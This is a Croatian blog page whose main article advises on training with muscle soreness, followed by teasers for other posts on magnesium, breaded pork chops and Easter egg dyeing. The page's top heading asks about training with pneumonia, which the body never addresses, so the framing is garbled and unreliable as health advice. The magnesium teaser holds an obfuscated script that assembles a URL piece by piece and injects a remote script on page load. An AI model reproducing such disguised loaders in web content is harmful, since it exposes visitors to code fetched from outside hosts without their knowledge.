TREBAMO LI TRENIRATI KADA IMAMO UPALU PLUĆA?



Trebamo li vježbati kada imamo upalu mišića?



Upala mišića nakon treninga dobro je poznata svima koji vježbaju. Ponekad se pojavi već sljedećeg jutra, a ponekad tek dan ili dva kasnije, kada i najobičnije sjedanje, ustajanje ili hodanje stepenicama postane pravi mali izazov.




Smijemo li trenirati s upalom mišića?

U većini slučajeva - da.

Ako je riječ o klasičnoj mišićnoj upali i možete pravilno izvoditi vježbe, lagana do umjerena tjelesna aktivnost uglavnom nije problem. Potpuno mirovanje nije uvijek potrebno, a kretanje može biti dio oporavka.

Problem nastaje kada je bol toliko jaka da mijenja način na koji se krećete ili izvodite vježbu.

U tom slučaju pametnije je smanjiti intenzitet, odmoriti bolnu mišićnu skupinu ili trenirati drugi dio tijela.



Ponekad je upala znak da smo pretjerali

Izrazito jaka upala može se pojaviti i kada prebrzo povećamo intenzitet ili količinu treninga.

Ako ste, primjerice, navikli trčati pet kilometara, a odjednom istrčite znatno više, ili naglo povećate broj serija i težinu utega, tijelu će možda trebati više vremena za oporavak.

U takvim situacijama korisno je kombinirati različite vrste aktivnosti i izbjegavati svakodnevno intenzivno opterećivanje istih mišićnih skupina.



Što napraviti ako vas mišići bole, ali želite trenirati?

Ako je upala blaga i ne ometa pravilno izvođenje pokreta, možete nastaviti biti aktivni, ali trening prilagodite tome kako se osjećate.

Najvažnije je pratiti kako tijelo reagira. Blaga upala ne mora biti razlog za preskakanje treninga, ali jak bol koji mijenja način na koji se krećete nije nešto što biste trebali ignorirati.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više